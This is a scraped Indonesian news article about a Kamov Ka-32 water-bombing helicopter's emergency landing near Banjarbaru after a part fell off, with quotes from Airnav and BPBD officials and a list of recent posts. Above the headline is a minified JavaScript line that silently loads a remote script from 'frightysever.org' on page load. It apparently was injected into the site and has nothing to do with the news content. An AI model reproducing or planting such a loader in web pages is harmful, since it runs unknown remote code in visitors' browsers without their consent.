(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Airnav: Pilot Tak Sempat Melapor, Kamov Ka-32 Jenis Heli yang Mendarat Darurat


BANJARBARU, Insiden helikopter Kamov Ka-32 UR-CIW yang mendarat darurat di Gunung Kupang, Kecamatan Cempaka, Kota Banjarbaru pada Kamis (12/9) sore, diduga akibat adanya kerusakan teknis pesawat.

Bahkan, saat mendarat darurat, pilot tidak sempat melapor ke petugas lalu lintas udara (air traffic control) Airnav Indonesia di Bandara Syamsudin Noor Banjarmasin di Banjarbaru.

“Untuk mengetahui  sempat atau tidak sempat, itu ada pada crew (yang bertugas),” kata Manager Operasi Airnav Indonesia Cabang Banjarmasin, Rusli, kepada Kanalkalimantan.com, melalui pesan Whatsapp, Jumat (13/9) pagi.

Menurut Rusli, petugas lalu lintas udara yang bertugas memang tidak menerima laporan adanya helikopter Kamov yang mendarat darurat. “Tapi memang kita tidak menerima laporan dan nanti setelah aman mendarat baru menginfokan,” tambah Rusli.

“Laporan ada tapi setelah mendarat aman,” tegas Rusli.

Diberitakan sebelumnya, helikopter Kamov Ka-32 UR-CIW terpaksa mendarat darurat di lahan persawahan di Gunung Kupang, Banjarbaru, diduga karena adanya kerusakan pada helikopter.

Pendaratan darurat heli water boombing ini, sebelumnya menyusul adanya part dari helikopter yang sedang melakukan pemadaman lewat udara Karhutla di Kalsel terjatuh, sehingga pilot memutuskan untuk berhenti beroperasi.

Baca: Ada Part Jatuh, Heli Water Bombing Mendarat Darurat di Gunung Kupang

Sebelumnya saat dikonfirmasi Kanalkalimantan.com Kamis malam, Kepala Pelaksana BPBD Kalsel Wahyuddin, membenarkan pendaratan darurat heli jenis Kamov Ka-32 UR-CIW itu.

Ia menyebut ada suatu bagian (part) dari helikopter yang terjatuh, namun dirinya tidak bisa memastikan apa benda tersebut.

Baca: Heli Water Bombing Mendarat Darurat Belum Dievakuasi, Dipasang Police Line Dijaga Ketat Aparat

“Ada yang jatuh dari bagian bodi helikopter. Jadi langsung berhenti, setelah helikopter water bombingnya membuang air untuk memadamkan api. Setelah mendarat, barang yang terjatuh itu diambil,” katanya.

Meski barang yang terjatuh tersebut telah dipungut kembali, rupanya sang pilot sendiri memutuskan untuk tidak kembali mengudara lantaran hari yang sudah menjelang malam.

Wahyuddin atau yang akrab disapa Ujud ini menerangkan hal ini juga untuk keselamatan para crew pesawat. Ditambah lagi, barang yang terjatuh tersebut memang seharusnya terpasang agar dapat beroperasi secara maksimal. (fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

42 menit ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

1 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

2 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

6 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

9 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

9 jam ago

This website uses cookies.